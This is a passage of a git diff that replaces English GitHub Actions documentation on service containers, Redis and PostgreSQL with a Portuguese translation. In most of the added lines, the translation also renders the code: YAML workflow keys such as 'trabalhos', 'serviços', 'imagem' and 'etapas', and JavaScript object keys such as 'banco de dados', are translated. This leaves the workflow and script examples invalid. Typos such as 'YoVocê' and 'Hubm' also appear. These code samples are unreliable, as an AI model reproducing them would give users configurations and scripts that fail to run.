+Você pode configurar os contêineres de serviço para cada trabalho em um fluxo de trabalho. {% data variables.product.prodname_dotcom %} cria um novo contêiner Docker para cada serviço configurado no fluxo de trabalho e destrói o contêiner de serviço quando o trabalho é concluído. As etapas em um trabalho podem comunicar-se com todos os contêineres de serviço que fazem parte do mesmo trabalho.
 
 {% data reusables.github-actions.docker-container-os-support %}
 
-## Communicating with service containers
+## Comunicar-se com os contêineres de serviço
 
-You can configure jobs in a workflow to run directly on a runner machine or in a Docker container. Communication between a job and its service containers is different depending on whether a job runs directly on the runner machine or in a container.
+Você pode configurar trabalhos em um fluxo de trabalho para ser executados diretamente em uma máquina executora ou em um contêiner Docker. A comunicação entre o trabalho e seus contêineres de serviço é diferente, dependendo se um trabalho é executado diretamente na máquina executora ou em um contêiner.
 
-### Running jobs in a container
+### Executar trabalhos em um contêiner
 
-When you run jobs in a container, {% data variables.product.prodname_dotcom %} connects service containers to the job using Docker's user-defined bridge networks. For more information, see "[Use bridge networks](https://docs.docker.com/network/bridge/)" in the Docker documentation.
+Ao executar trabalhos em um contêiner, {% data variables.product.prodname_dotcom %} conecta os contêineres de serviço ao trabalho suando as redes de ponte definidas pelo usuário do Docker. Para obter mais informações, consulte "["Usar redes de ponte](https://docs.docker.com/network/bridge/)" na documentação do Docker.
 
-Running the job and services in a container simplifies network access. You can access a service container using the label you configure in the workflow. The hostname of the service container is automatically mapped to the label name. For example, if you create a service container with the label `redis`, the hostname of the service container is `redis`.
+Executar o trabalho e os serviços em um contêiner simplifica o acesso à rede. Você pode acessar um contêiner de serviço usando a etiqueta que você configurar no fluxo de trabalho. O nome de host do contêiner do serviço é mapeado automaticamente de acordo com o nome da etiqueta. Por exemplo, se você criar um contêiner de serviço com a etiqueta `redis`, o nome de host do contêiner de serviço será `redis`.
 
-You don't need to configure any ports for service containers. By default, all containers that are part of the same Docker network expose all ports to each other, and no ports are exposed outside of the Docker network.
+Você não precisa configurar nenhuma porta para os contêineres de serviço. Por padrão, todos os contêineres que fazem parte da mesma rede do Docker expõem todas as portas entre si e nenhuma porta é exposta fora da rede do Docker.
 
-### Running jobs on the runner machine
+### Executar trabalhos na máquina executora
 
-When running jobs directly on the runner machine, you can access service containers using `localhost:<port>` or `127.0.0.1:<port>`. {% data variables.product.prodname_dotcom %} configures the container network to enable communication from the service container to the Docker host.
+Ao executar trabalhos diretamente na máquina executora, você poderá acessar os contêineres de serviço usando `localhost:<port>` ou `127.0.0.1:<port>`. {% data variables.product.prodname_dotcom %} configura a rede do contêiner para habilitar a comunicação a partir do contêiner de serviço com o host do Docker.
 
-When a job runs directly on a runner machine, the service running in the Docker container does not expose its ports to the job on the runner by default. You need to map ports on the service container to the Docker host. For more information, see "[Mapping Docker host and service container ports](/actions/automating-your-workflow-with-github-actions/about-service-containers#mapping-docker-host-and-service-container-ports)."
+Quando um trabalho é executado diretamente em uma máquina executora, o serviço executado no contêiner do Docker não expõe suas portas ao trabalho no executor por padrão. Você deve mapear as portas no contêiner de serviço com o host do Docker. Para obter mais informações, consulte "[Mapeando o host do Docker e as portas do contêiner de serviço](/actions/automating-your-workflow-with-github-actions/about-service-containers#mapping-docker-host-and-service-container-ports)".
 
-## Creating service containers
+## Criar contêineres de serviço
 
-You can use the `services` keyword to create service containers that are part of a job in your workflow. For more information, see [`jobs.<job_id>.services`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idservices).
+Você pode usar a palavra-chave `serviços` para criar contêineres de serviço que fazem parte de um trabalho no seu fluxo de trabalho. Para obter mais informações, consulte [`trabalhos.<job_id>.serviços`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idservices).
 
-This example creates a service called `redis` in a job called `container-job`. The Docker host in this example is the `node:10.18-jessie` container.
+Este exemplo cria um serviço denominado `redis` em um trabalho denominado `container-job`. O host do Docker, neste exemplo, é o contêiner `node:10.18-jessie`.
 
 {% raw %}
 ```yaml{:copy}
-name: Redis container example
-on: push
+nome: Exemplo de contêiner Redis
+em: push
 
-jobs:
-  # Label of the container job
+trabalhos:
+  # Etiqueta do trabalho do contêiner
   container-job:
-    # Containers must run in Linux based operating systems
+    # Os contêineres devem ser executados em sistemas operacionais baseados no Linux
     runs-on: ubuntu-latest
-    # Docker Hub image that `container-job` executes in
+    # Imagem do Docker Hub em que o `container-job` é executado
     container: node:10.18-jessie
 
-    # Service containers to run with `container-job`
-    services:
-      # Label used to access the service container
+    # Contêineres de serviço a serem executados com `container-job`
+    serviços:
+      # Etiqueta usada para acessar o contêiner de serviço
       redis:
-        # Docker Hub image
-        image: redis
+        # Imagem do Docker Hub
+        imagem: redis
 ```
 {% endraw %}
 
-## Mapping Docker host and service container ports
+## Mapear o host do Docker e as portas do contêiner de serviço
 
-If your job runs in a Docker container, you do not need to map ports on the host or the service container. If your job runs directly on the runner machine, you'll need to map any required service container ports to ports on the host runner machine.
+Se o seu trabalho for executado em um contêiner do Docker, você não precisará mapear as portas no host ou no contêiner de serviço. Se o seu trabalho for executado diretamente na máquina executora, você precisará mapear todas as portas do contêiner de serviço necessárias com as portas na máquina executora do host.
 
-You can map service containers ports to the Docker host using the `ports` keyword. For more information, see [`jobs.<job_id>.services`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idservices).
+Você pode mapear as portas dos contêineres de serviço com o host do Docker usando a palavra-chave `portas`. Para obter mais informações, consulte [`trabalhos.<job_id>.serviços`](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idservices).
 
-| Value of `ports` |	Description |
-|------------------|--------------|
-| `8080:80` |	Maps TCP port 80 in the container to port 8080 on the Docker host. |
-| `8080:80/udp` |	Maps UDP port 80 in the container to port 8080 on the Docker host. |
-| `8080/udp`	| Map a randomly chosen UDP port in the container to UDP port 8080 on the Docker host. |
+| Valor das `portas` | Descrição                                                                                        |
+| ------------------ | ------------------------------------------------------------------------------------------------ |
+| `8080:80`          | Mapeia a porta 80 TCP no contêiner com a porta 8080 no host do Docker.                           |
+| `8080:80/udp`      | Mapeia a porta 80 UDP no contêiner com a porta 8080 no host do Docker.                           |
+| `8080/udp`         | Mapeia a porta UDP escolhida aleatoriamente no contêiner com a porta 8080 UDP no host do Docker. |
 
-When you map ports using the `ports` keyword, {% data variables.product.prodname_dotcom %} uses the `--publish` command to publish the container’s ports to the Docker host. For more information, see "[Docker container networking](https://docs.docker.com/config/containers/container-networking/)" in the Docker documentation.
+Ao mapear portas usando a palavra-chave `portas`, {% data variables.product.prodname_dotcom %}usa o comando `--publicar` para publicar as portas do contêiner no host do Docker. Para obter mais informações, consulte "[Rede do contêiner do Docker](https://docs.docker.com/config/containers/container-networking/)" na documentação do Docker.
 
-When you specify the Docker host port but not the container port, the container port is randomly assigned to a free port. {% data variables.product.prodname_dotcom %} sets the assigned container port in the service container context. For example, for a `redis` service container, if you configured the Docker host port 5432, you can access the corresponding container port using the `job.services.redis.ports[5432]` context. For more information, see "[Contexts](/actions/learn-github-actions/contexts#job-context)."
+Ao especificar a porta do host do Docker mas não a porta do contêiner, a porta do contêiner será atribuída aleatoriamente a uma porta livre. {% data variables.product.prodname_dotcom %} define a porta do contêiner atribuída no contexto do contêiner de serviço. Por exemplo, para um contêiner de serviço `redis`, se você configurou a porta 5432 do host do Docker, você poderá acessar a porta do contêiner correspondente usando o contexto `job.services.redis.ports[5432]`. Para obter mais informações, consulte "[Contextos](/actions/learn-github-actions/contexts#job-context)".
 
-### Example mapping Redis ports
+### Exemplo de mapeamento de portas Redis
 
-This example maps the service container `redis` port 6379 to the Docker host port 6379.
+Este exemplo mapeia a porta 6379 do contêiner de serviço `redis` com a porta 6379 do host do Docker.
 
 {% raw %}
 ```yaml{:copy}
-name: Redis Service Example
-on: push
+nome: Exemplo de serviço Redis
+em: push
 
-jobs:
-  # Label of the container job
+trabalhos:
+  # Etiqueta do trabalho do contêiner
   runner-job:
-    # You must use a Linux environment when using service containers or container jobs
+    # YoVocê deve usar um ambiente Linux ao usar os contêineres de serviço ou os trabalhos do contêiner
     runs-on: ubuntu-latest
 
-    # Service containers to run with `runner-job`
-    services:
-      # Label used to access the service container
+    # Contêineres de serviço a ser executados com `runner-job`
+    serviços:
+      # Etiqueta usada para acessar o contêiner de serviço
       redis:
-        # Docker Hub image
+        # Imagem do Docker Hubm
         image: redis
         #
-        ports:
-          # Opens tcp port 6379 on the host and service container
+        portas:
+          # Abre a porta 6379 tcp no host e no contêiner de serviço
           - 6379:6379
 ```
 {% endraw %}
 
-## Further reading
+## Leia mais
 
-- "[Creating Redis service containers](/actions/automating-your-workflow-with-github-actions/creating-redis-service-containers)"
-- "[Creating PostgreSQL service containers](/actions/automating-your-workflow-with-github-actions/creating-postgresql-service-containers)"
+- [Criando contêineres de serviço Redis](/actions/automating-your-workflow-with-github-actions/creating-redis-service-containers)"
+- [Criando contêineres de serviço PostgreSQL](/actions/automating-your-workflow-with-github-actions/creating-postgresql-service-containers)"
diff --git a/translations/pt-BR/content/actions/using-containerized-services/creating-postgresql-service-containers.md b/translations/pt-BR/content/actions/using-containerized-services/creating-postgresql-service-containers.md
index 645a542e6d..cba7d4398b 100644
--- a/translations/pt-BR/content/actions/using-containerized-services/creating-postgresql-service-containers.md
+++ b/translations/pt-BR/content/actions/using-containerized-services/creating-postgresql-service-containers.md
@@ -1,7 +1,7 @@
 ---
-title: Creating PostgreSQL service containers
-shortTitle: PostgreSQL service containers
-intro: You can create a PostgreSQL service container to use in your workflow. This guide shows examples of creating a PostgreSQL service for jobs that run in containers or directly on the runner machine.
+title: Criar contêineres de serviço PostgreSQL
+shortTitle: Contêineres de serviço do PostgreSQL
+intro: Você pode criar um contêiner de serviço PostgreSQL para usar no seu fluxo de trabalho. Este guia mostra exemplos para criar um serviço PostgreSQL para trabalhos executados em contêineres ou diretamente na máquina executora.
 redirect_from:
   - /actions/automating-your-workflow-with-github-actions/creating-postgresql-service-containers
   - /actions/configuring-and-managing-workflows/creating-postgresql-service-containers
@@ -20,22 +20,22 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introdução
 
-This guide shows you workflow examples that configure a service container using the Docker Hub `postgres` image. The workflow runs a script that connects to the PostgreSQL service, creates a table, and then populates it with data. To test that the workflow creates and populates the PostgreSQL table, the script prints the data from the table to the console.
+Este guia mostra exemplos de fluxo de trabalho que configuram um contêiner de serviço usando a imagem `postgres` do Docker Hub. O fluxo de trabalho executa um script que se conecta ao serviço do PostgreSQL, cria uma tabela e, em seguida, preenche-a com dados. Para testar se o fluxo de trabalho cria e preenche a tabela do PostgreSQL, o script imprime os dados da tabela para o console.
 
 {% data reusables.github-actions.docker-container-os-support %}
 
-## Prerequisites
+## Pré-requisitos
 
 {% data reusables.github-actions.service-container-prereqs %}
 
-You may also find it helpful to have a basic understanding of YAML, the syntax for {% data variables.product.prodname_actions %}, and PostgreSQL. For more information, see:
+Também pode ser útil ter um entendimento básico de YAML, a sintaxe para {% data variables.product.prodname_actions %} e PostgreSQL. Para obter mais informações, consulte:
 
-- "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
-- "[PostgreSQL tutorial](https://www.postgresqltutorial.com/)" in the PostgreSQL documentation
+- "[Aprenda {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
+- "[Tutorial do PostgreSQL](https://www.postgresqltutorial.com/)" na documentação do PostgreSQL
 
-## Running jobs in containers
+## Executar trabalhos em contêineres
 
 {% data reusables.github-actions.container-jobs-intro %}
 
@@ -86,46 +86,46 @@ jobs:
         run: node client.js
         # Environment variables used by the `client.js` script to create a new PostgreSQL table.
         env:
-          # The hostname used to communicate with the PostgreSQL service container
+          # O nome do host usado para comunicar-se com o contêiner de serviço do PostgreSQL
           POSTGRES_HOST: postgres
-          # The default PostgreSQL port
+          # A porta-padrão do PostgreSQL
           POSTGRES_PORT: 5432
 ```
 {% endraw %}
 
-### Configuring the runner job
+### Configurar o trabalho executor
 
 {% data reusables.github-actions.service-container-host %}
 
 {% data reusables.github-actions.postgres-label-description %}
 
 ```yaml{:copy}
-jobs:
-  # Label of the container job
+trabalhos:
+  # Etiqueta do trabalho do contêiner
   container-job:
-    # Containers must run in Linux based operating systems
+    # Os contêineres devem ser executados em sistemas operacionais baseados no Linux
     runs-on: ubuntu-latest
-    # Docker Hub image that `container-job` executes in
-    container: node:10.18-jessie
+    # Imagem do Docker Hub em que o `container-job` é executado
+    contêiner: node:10.18-jessie
 
-    # Service containers to run with `container-job`
-    services:
-      # Label used to access the service container
+    # Contêineres de serviço a serem executados com `container-job`
+    serviços:
+      # Etiqueta usada para acessar o contêiner de serviço
       postgres:
-        # Docker Hub image
-        image: postgres
-        # Provide the password for postgres
+        # Imagem do Docker Hub
+        imagem: postgres
+        # Fornece a senha para o postgres
         env:
           POSTGRES_PASSWORD: postgres
-        # Set health checks to wait until postgres has started
-        options: >-
+        # Define as verificações gerais até a inicialização do postgres
+        opções: >-
           --health-cmd pg_isready
           --health-interval 10s
           --health-timeout 5s
           --health-retries 5
 ```
 
-### Configuring the steps
+### Configurar as etapas
 
 {% data reusables.github-actions.service-template-steps %}
 
@@ -147,19 +147,19 @@ steps:
     # Environment variable used by the `client.js` script to create
     # a new PostgreSQL client.
     env:
-      # The hostname used to communicate with the PostgreSQL service container
+      # O nome do host usado para comunicar-se com o contêiner de serviço do PostgreSQL
       POSTGRES_HOST: postgres
-      # The default PostgreSQL port
+      # A porta-padrão do PostgreSQL
       POSTGRES_PORT: 5432
 ```
 
 {% data reusables.github-actions.postgres-environment-variables %}
 
-The hostname of the PostgreSQL service is the label you configured in your workflow, in this case, `postgres`. Because Docker containers on the same user-defined bridge network open all ports by default, you'll be able to access the service container on the default PostgreSQL port 5432.
+O nome do host do serviço do PostgreSQL é a etiqueta que você configurou no seu fluxo de trabalho, nesse caso, `postgres`. Uma vez que os contêineres do Docker na mesma rede da ponte definida pelo usuário abrem todas as portas por padrão, você poderá acessar o contêiner de serviço na porta-padrão 5432 do PostgreSQL.
 
-## Running jobs directly on the runner machine
+## Executar trabalhos diretamente na máquina executora
 
-When you run a job directly on the runner machine, you'll need to map the ports on the service container to ports on the Docker host. You can access service containers from the Docker host using `localhost` and the Docker host port number.
+Ao executar um trabalho diretamente na máquina executora, você deverá mapear as portas no contêiner de serviço com as portas no host do Docker. Você pode acessar os contêineres de serviço do host do Docker usando `localhost` e o número da porta do host do Docker.
 
 {% data reusables.github-actions.copy-workflow-file %}
 
@@ -210,49 +210,49 @@ jobs:
         # Environment variables used by the `client.js` script to create
         # a new PostgreSQL table.
         env:
-          # The hostname used to communicate with the PostgreSQL service container
+          # O nome do host usado para comunicar-se com o contêiner de serviço PostgreSQL
           POSTGRES_HOST: localhost
-          # The default PostgreSQL port
+          # A porta-padrão do PostgreSQL
           POSTGRES_PORT: 5432
 ```
 {% endraw %}
 
-### Configuring the runner job
+### Configurar o trabalho executor
 
 {% data reusables.github-actions.service-container-host-runner %}
 
 {% data reusables.github-actions.postgres-label-description %}
 
-The workflow maps port 5432 on the PostgreSQL service container to the Docker host. For more information about the `ports` keyword, see "[About service containers](/actions/automating-your-workflow-with-github-actions/about-service-containers#mapping-docker-host-and-service-container-ports)."
+O fluxo de trabalho mapeia a porta 5432 no contêiner de serviço do PostgreSQL com o host do Docker. Para obter mais informações sobre a palavra-chave `portas`, consulte "[Sobre contêineres de serviço](/actions/automating-your-workflow-with-github-actions/about-service-containers#mapping-docker-host-and-service-container-ports)".
 
 ```yaml{:copy}
-jobs:
-  # Label of the runner job
+trabalhos:
+  # Etiqueta do trabalho executor
   runner-job:
-    # You must use a Linux environment when using service containers or container jobs
+    # Você deve usar um ambiente do Linux ao usar os contêineres de serviço ou trabalhos do contêiner
     runs-on: ubuntu-latest
 
-    # Service containers to run with `runner-job`
-    services:
-      # Label used to access the service container
+    # Contêineres de serviços a serem executados com `runner-job`
+    serviços:
+      # Etiqueta usada para acessar o contêiner de serviço
       postgres:
-        # Docker Hub image
+        # Imagem do Docker Hub
         image: postgres
-        # Provide the password for postgres
+        # Fornece a senha para postgres
         env:
           POSTGRES_PASSWORD: postgres
-        # Set health checks to wait until postgres has started
-        options: >-
+        # Define verificações gerais até a inicialização do postgres
+        opções: >-
           --health-cmd pg_isready
           --health-interval 10s
           --health-timeout 5s
           --health-retries 5
-        ports:
-          # Maps tcp port 5432 on service container to the host
+        portas:
+          # Mapeia a porta port 5432 tcp no contêiner de serviço com o host
           - 5432:5432
 ```
 
-### Configuring the steps
+### Configurar as etapas
 
 {% data reusables.github-actions.service-template-steps %}
 
@@ -274,9 +274,9 @@ steps:
     # Environment variables used by the `client.js` script to create
     # a new PostgreSQL table.
     env:
-      # The hostname used to communicate with the PostgreSQL service container
+      # O nome do host usado para comunicar-se com o contêiner de serviço do PostgreSQL
       POSTGRES_HOST: localhost
-      # The default PostgreSQL port
+      # A porta-padrão do PostgreSQL
       POSTGRES_PORT: 5432
 ```
 
@@ -284,11 +284,11 @@ steps:
 
 {% data reusables.github-actions.service-container-localhost %}
 
-## Testing the PostgreSQL service container
+## Testar o contêiner de serviço do PostgreSQL
 
-You can test your workflow using the following script, which connects to the PostgreSQL service and adds a new table with some placeholder data. The script then prints the values stored in the PostgreSQL table to the terminal. Your script can use any language you'd like, but this example uses Node.js and the `pg` npm module. For more information, see the [npm pg module](https://www.npmjs.com/package/pg).
+Você pode testar o seu fluxo de trabalho usando o seguinte script, que se conecta ao serviço do PostgreSQL e adiciona uma nova tabela com alguns dados de espaço reservado. Em seguida, o script imprime os valores armazenados na tabela do PostgreSQL no terminal. O seu script pode usar qualquer linguagem que você desejar, mas este exemplo usa Node.js e o módulo npm `pg`. Para obter mais informações, consulte [módulo npm pg](https://www.npmjs.com/package/pg).
 
-You can modify *client.js* to include any PostgreSQL operations needed by your workflow. In this example, the script connects to the PostgreSQL service, adds a table to the `postgres` database, inserts some placeholder data, and then retrieves the data.
+Você pode modificar o *client.js* para incluir qualquer operação do PostgreSQL exigida pelo seu fluxo de trabalho. Neste exemplo, o script conecta-se ao serviço do PostgreSQL, adiciona uma tabela ao banco de dados `postgres`, insere alguns dados de espaço reservado e recupera os dados.
 
 {% data reusables.github-actions.service-container-add-script %}
 
@@ -297,10 +297,10 @@ const { Client } = require('pg');
 
 const pgclient = new Client({
     host: process.env.POSTGRES_HOST,
-    port: process.env.POSTGRES_PORT,
-    user: 'postgres',
-    password: 'postgres',
-    database: 'postgres'
+    porta: process.env.POSTGRES_PORT,
+    usuário: 'postgres',
+    senha: 'postgres',
+    banco de dados: 'postgres'
 });
 
 pgclient.connect();
@@ -324,18 +324,18 @@ pgclient.query('SELECT * FROM student', (err, res) => {
 });
 ```
 
-The script creates a new connection to the PostgreSQL service, and uses the `POSTGRES_HOST` and `POSTGRES_PORT` environment variables to specify the PostgreSQL service IP address and port. If `host` and `port` are not defined, the default host is `localhost` and the default port is 5432.
+O script cria uma nova conexão com o serviço PostgreSQL e usa as variáveis de ambiente `POSTGRES_HOST` e `POSTGRES_PORT` para especificar o endereço e porta do serviço do PostgreSQL. Se o `host` e a `porta` não forem definidos, o host-padrão será `localhost` e a porta-padrão será 5432.
 
-The script creates a table and populates it with placeholder data. To test that the `postgres` database contains the data, the script prints the contents of the table to the console log.
+O script cria uma tabela e preenche com dados de espaço reservado. Para testar se o banco de dados `postgres` contém os dados, o script imprime o conteúdo da tabela no registro do console.
 
-When you run this workflow, you should see the following output in the "Connect to PostgreSQL" step, which confirms that you successfully created the PostgreSQL table and added data:
+Ao executar este fluxo de trabalho, você verá a seguinte saída na etapa "Conectar ao PostgreSQL", que confirma que você criou com sucesso a tabela do PostgreSQL e adicionou dados:
 
 ```
 null [ { id: 1,
-    firstname: 'Mona the',
-    lastname: 'Octocat',
-    age: 9,
-    address:
-     '88 Colin P Kelly Jr St, San Francisco, CA 94107, United States',
-    email: 'octocat@github.com' } ]
+    primeiro nome: 'Mona the',
+    último nome: 'Octocat',
+    idade: 9,
+    endereço:
+     '88 Colin P Kelly Jr St, São Francisco, CA 94107, Estados Unidos',
+    e-mail: 'octocat@github.com' } ]
 ```
diff --git a/translations/pt-BR/content/actions/using-containerized-services/creating-redis-service-containers.md b/translations/pt-BR/content/actions/using-containerized-services/creating-redis-service-containers.md
index 2b9ed40122..31ee3a5722 100644
--- a/translations/pt-BR/content/actions/using-containerized-services/creating-redis-service-containers.md
+++ b/translations/pt-BR/content/actions/using-containerized-services/creating-redis-service-containers.md
@@ -1,7 +1,7 @@
 ---
-title: Creating Redis service containers
-shortTitle: Redis service containers
-intro: You can use service containers to create a Redis client in your workflow. This guide shows examples of creating a Redis service for jobs that run in containers or directly on the runner machine.
+title: Criar contêineres de serviço Redis
+shortTitle: Contêineres de serviço do Redis
+intro: Você pode usar os contêineres de serviço para criar um cliente Redis no seu fluxo de trabalho. Este guia mostra exemplos de criação de serviço Redis para trabalhos executados em contêineres ou diretamente na máquina executora.
 redirect_from:
   - /actions/automating-your-workflow-with-github-actions/creating-redis-service-containers
   - /actions/configuring-and-managing-workflows/creating-redis-service-containers
@@ -20,22 +20,22 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## Introdução
 
-This guide shows you workflow examples that configure a service container using the Docker Hub `redis` image. The workflow runs a script to create a Redis client and populate the client with data. To test that the workflow creates and populates the Redis client, the script prints the client's data to the console.
+Este guia mostra os exemplos do seu fluxo de trabalho que configuram um contêiner de serviço usando a imagem `redis` do Docker Hub. O fluxo de trabalho executa um script para criar um cliente Redis e preencher os dados do cliente. Para testar se o fluxo de trabalho cria e preenche o cliente Redis, o script imprime os dados do cliente no console.
 
 {% data reusables.github-actions.docker-container-os-support %}
 
-## Prerequisites
+## Pré-requisitos
 
 {% data reusables.github-actions.service-container-prereqs %}
 
-You may also find it helpful to have a basic understanding of YAML, the syntax for {% data variables.product.prodname_actions %}, and Redis. For more information, see:
+Também pode ser útil ter um entendimento básico de YAML, a sintaxe para {% data variables.product.prodname_actions %} e Redis. Para obter mais informações, consulte:
 
-- "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
-- "[Getting Started with Redis](https://redislabs.com/get-started-with-redis/)" in the Redis documentation
+- "[Aprenda {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
+- "[Introdução ao Redis](https://redislabs.com/get-started-with-redis/)" na documentação do Redis
 
-## Running jobs in containers
+## Executar trabalhos em contêineres
 
 {% data reusables.github-actions.container-jobs-intro %}
 
@@ -43,227 +43,227 @@ You may also find it helpful to have a basic understanding of YAML, the syntax f
 
 {% raw %}
 ```yaml{:copy}
-name: Redis container example
-on: push
+nome: exemplo do contêiner Redis
+em: push
 
-jobs:
-  # Label of the container job
+trabalhos:
+  # Etiqueta do trabalho do contêiner
   container-job:
-    # Containers must run in Linux based operating systems
+    # Os contêineres devem ser executados em sistemas operacionais baseados no Linux
     runs-on: ubuntu-latest
-    # Docker Hub image that `container-job` executes in
-    container: node:10.18-jessie
+    # Imagem do Docker Hub em que o `container-job` é executado
+    contêiner: node:10.18-jessie
 
-    # Service containers to run with `container-job`
-    services:
-      # Label used to access the service container
+    # Contêineres de serviço a serem executados com `container-job`
+    serviços:
+      # Etiqueta usada para acessar o contêiner de serviço
       redis:
-        # Docker Hub image
-        image: redis
-        # Set health checks to wait until redis has started
-        options: >-
+        # Imagem do Docker Hub
+        imagem: redis
+        # Define verificações gerais até a inicialização do redis
+        opções: >-
           --health-cmd "redis-cli ping"
           --health-interval 10s
           --health-timeout 5s
           --health-retries 5
 
-    steps:
-      # Downloads a copy of the code in your repository before running CI tests
-      - name: Check out repository code
-        uses: actions/checkout@v2
+    etapas:
+      # Faz o download de uma cópia do código no seu repositório antes de executar os testes de CI
+      - nome: Verifica o código do repositório
+        usa: actions/checkout@v2
 
-      # Performs a clean installation of all dependencies in the `package.json` file
-      # For more information, see https://docs.npmjs.com/cli/ci.html
-      - name: Install dependencies
-        run: npm ci
+      # Realiza uma instalação limpa de todas as dependências no arquivo `package.json`
+      # Para obter mais informações, consulte https://docs.npmjs.com/cli/ci.html
+      - nome: Instalar dependências
+        executar: npm ci
 
-      - name: Connect to Redis
-        # Runs a script that creates a Redis client, populates
-        # the client with data, and retrieves data
-        run: node client.js
-        # Environment variable used by the `client.js` script to create a new Redis client.
+      - nome: Conectar-se ao Redis
+        # Executa um script que cria um cliente Redis, preenche
+        # os dados do cliente e recupera dados
+        executar: node client.js
+        # Variável do ambiente usada pelo script `client.js` para criar um novo Redis.
         env:
-          # The hostname used to communicate with the Redis service container
+          # O nome do host usado para comunicar-se com o contêiner de serviço do Redis
           REDIS_HOST: redis
           # The default Redis port
           REDIS_PORT: 6379
 ```
 {% endraw %}
 
-### Configuring the container job
+### Configurar o trabalho do contêiner
 
 {% data reusables.github-actions.service-container-host %}
 
 {% data reusables.github-actions.redis-label-description %}
 
 ```yaml{:copy}
-jobs:
-  # Label of the container job
+trabalhos:
+  # Etiqueta do trabalho do contêiner
   container-job:
-    # Containers must run in Linux based operating systems
+    # Os contêineres devem ser executados em sistemas operacionais baseados no Linux
     runs-on: ubuntu-latest
-    # Docker Hub image that `container-job` executes in
-    container: node:10.18-jessie
+    # Imagem do Docker Hub em que o `container-job` é executado
+    contêiner: node:10.18-jessie
 
-    # Service containers to run with `container-job`
-    services:
-      # Label used to access the service container
+    # Contêineres de serviço a serem executados com `container-job`
+    serviços:
+      # Etiqueta usada para acessar o contêiner de serviço
       redis:
-        # Docker Hub image
-        image: redis
-        # Set health checks to wait until redis has started
-        options: >-
+        # Imagem do Docker Hub
+        imagem: redis
+        # Define verificações gerais até a inicialização do redis
+        opções: >-
           --health-cmd "redis-cli ping"
           --health-interval 10s
           --health-timeout 5s
           --health-retries 5
 ```
 
-### Configuring the steps
+### Configurar as etapas
 
 {% data reusables.github-actions.service-template-steps %}
 
 ```yaml{:copy}
-steps:
-  # Downloads a copy of the code in your repository before running CI tests
-  - name: Check out repository code
-    uses: actions/checkout@v2
+etapas:
+  # Faz o download de uma cópia do código no seu repositório antes de executar testes de CI
+  - nome: Verifica o código do repositório
+    usa: actions/checkout@v2
 
-  # Performs a clean installation of all dependencies in the `package.json` file
-  # For more information, see https://docs.npmjs.com/cli/ci.html
-  - name: Install dependencies
-    run: npm ci
+  # Realiza uma instalação limpa de todas as dependências do arquivo `package.json`
+  # Para obter mais informações, consulte https://docs.npmjs.com/cli/ci.html
+  - nome: Instalar dependências
+    executar: npm ci
 
-  - name: Connect to Redis
-    # Runs a script that creates a Redis client, populates
-    # the client with data, and retrieves data
-    run: node client.js
-    # Environment variable used by the `client.js` script to create a new Redis client.
+  - nome: Conectar-se ao Redis
+    # Executa um script que cria um cliente Redis client, preenche
+    # os dados do cliente e recupera dados
+    executar: node client.js
+    # Variável do ambiente usada pelo script `client.js` para criar um novo cliente Redis.
     env:
-      # The hostname used to communicate with the Redis service container
+      # O nome do host usado para comunicar-se com o contêiner de serviço do Redis
       REDIS_HOST: redis
-      # The default Redis port
+      # A porta-padrão do Redis
       REDIS_PORT: 6379
 ```
 
 {% data reusables.github-actions.redis-environment-variables %}
 
-The hostname of the Redis service is the label you configured in your workflow, in this case, `redis`. Because Docker containers on the same user-defined bridge network open all ports by default, you'll be able to access the service container on the default Redis port 6379.
+O nome do host do serviço Redis é a etiqueta que você configurou no seu fluxo de trabalho, nesse caso `redis`. Uma vez que os contêineres do Docker na mesma rede da ponte definida pelo usuário abrem todas as portas por padrão, você poderá acessar o contêiner de serviço na porta-padrão 6379 do Redis.
 
-## Running jobs directly on the runner machine
+## Executar trabalhos diretamente na máquina executora
 
-When you run a job directly on the runner machine, you'll need to map the ports on the service container to ports on the Docker host. You can access service containers from the Docker host using `localhost` and the Docker host port number.
+Ao executar um trabalho diretamente na máquina executora, você deverá mapear as portas no contêiner de serviço com as portas no host do Docker. Você pode acessar os contêineres de serviço do host do Docker usando `localhost` e o número da porta do host do Docker.
 
 {% data reusables.github-actions.copy-workflow-file %}
 
 {% raw %}
 ```yaml{:copy}
-name: Redis runner example
-on: push
+nome: Exemplo do executor do Redis
+em: push
 
-jobs:
-  # Label of the runner job
+trabalhos:
+  # Etiqueta do trabalho executor
   runner-job:
-    # You must use a Linux environment when using service containers or container jobs
+    # Você deve usar um ambiente do Linux ao usar contêineres de serviço ou trabalhos de contêiner
     runs-on: ubuntu-latest
 
-    # Service containers to run with `runner-job`
-    services:
-      # Label used to access the service container
+    # Contêineres de serviço a serem executados com `runner-job`
+    serviços:
+      # Etiqueta usada para acessar o contêiner de serviço
       redis:
-        # Docker Hub image
-        image: redis
-        # Set health checks to wait until redis has started
-        options: >-
+        # Imagem do Docker Hub
+        imagem: redis
+        # Define verificações gerais até a inicialização do redis
+        opções: >-
           --health-cmd "redis-cli ping"
           --health-interval 10s
           --health-timeout 5s
           --health-retries 5
-        ports:
-          # Maps port 6379 on service container to the host
+        portas:
+          # Mapeia a porta port 6379 no contêiner de serviço com o host
           - 6379:6379
 
-    steps:
-      # Downloads a copy of the code in your repository before running CI tests
-      - name: Check out repository code
-        uses: actions/checkout@v2
+    etapas:
+      # Faz um download de uma cópia do código no seu repositório antes de executar testes de CI
+      - nome: Verifica o código do repositório
+        usa: actions/checkout@v2
 
-      # Performs a clean installation of all dependencies in the `package.json` file
-      # For more information, see https://docs.npmjs.com/cli/ci.html
-      - name: Install dependencies
-        run: npm ci
+      # Realiza uma instalação limpa de todas as dependências no arquivo `package.json`
+      # Para obter mais informações, consulte https://docs.npmjs.com/cli/ci.html
+      - nome: Instalar dependências
+        executar: npm ci
 
-      - name: Connect to Redis
-        # Runs a script that creates a Redis client, populates
